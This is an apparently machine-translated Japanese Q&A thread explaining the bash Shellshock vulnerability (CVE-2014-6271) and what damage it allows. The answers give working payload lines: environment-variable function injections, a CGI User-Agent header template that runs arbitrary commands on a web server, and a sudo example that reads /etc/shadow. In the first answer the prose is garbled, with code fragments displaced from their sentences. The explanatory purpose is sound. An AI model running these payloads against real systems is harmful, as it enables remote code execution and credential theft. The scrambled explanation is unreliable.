私は考えられるセキュリティ問題を理解しようとしていますが、CVE-2014-6271
私が見るすべてのリンクは次のコマンドだけを提供します。
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
私が得た結果が次のような場合
vulnerable
this is a test
これは私のbashシェルが脆弱であることを意味します。
しかし、それがセキュリティとどのような関係があるのでしょうか?つまり、私のシステムにどんなダメージがかかるのでしょうか?
答え1
セキュリティの問題は、bashが悪意のある環境変数のセットで始まる場合、bashがその変数のコードを実行することです。
たとえば、呼び出しがあるとします。このアプリケーションも呼び出される環境変数を使用し、その変数の値がユーザー提供の入力から来ているとします/bin/foo bar
。したがって、Webサーバーアプリケーションは環境を設定し、シェルはそれにアクセスします。環境変数を読み取るときに提供された変数にマルウェアがある場合に実行されます。foo
baz
foo bar
bash
bash
通常、これは問題ではありません。環境変数は完全に安全でなければなりません。変数を使用するアプリケーションが誤動作している場合、これは別の話です。ただし、上記の場合、bash
変数は使用されません。baz
たとえば、
テストスクリプト.sh
export BAZ='() { :;}; echo MALICIOUS CODE'
echo starting sleep
/bin/bash -c 'sleep 1'
実行すると、次の情報が得られます。
$ /bin/dash testscript.sh
starting sleep
MALICIOUS CODE
したがって、この変数を設定するだけで、bashに任意のコードを実行するように指示できます。
以下は、明示的なシェルを使用せずにbashに言及していない別の例です。
$ perl -e '$ENV{"BAZ"}="() { :;}; echo MALICIOUS CODE"; print("starting sleep\n"); system("/bin/sleep 1;");'
starting sleep
MALICIOUS CODE
(これが機能するには/bin/sh
bashが必要です)
答え2
これらの人々は、WebサーバーCGIプロセスにコードを挿入する方法を説明します。デフォルトでは、攻撃コードが含まれるように要求のユーザーエージェントを設定して機能します。
http://packetstormsecurity.com/files/128394/bash-poc.txt
'header' => 'User-Agent: () { :;}; /bin/bash -c "'.$cmd.'"'
攻撃が成功すると、Webサーバー権限を使用してWebサーバーにアクセスでき、そのWebサーバーのコンテンツ全体が破損していると見なされます。
答え3
次のような場合は、sudoを介して実行することもできます。環境リセット無効(少なくともDebianではデフォルトで有効)
Defaults env_reset
しかし、次のように変更すると
Defaults !env_reset
(過去の複数のシステムでこれを見たことがあります!!!)
それから
sudo Y='() { disabled; }; /bin/cat /etc/shadow;' /tmp/zomg.sh
ルート: $6$......`
ここに分割エラーが表示されます。
sudoers ファイルには以下が含まれます。
アリン ALL=/tmp/zomg.sh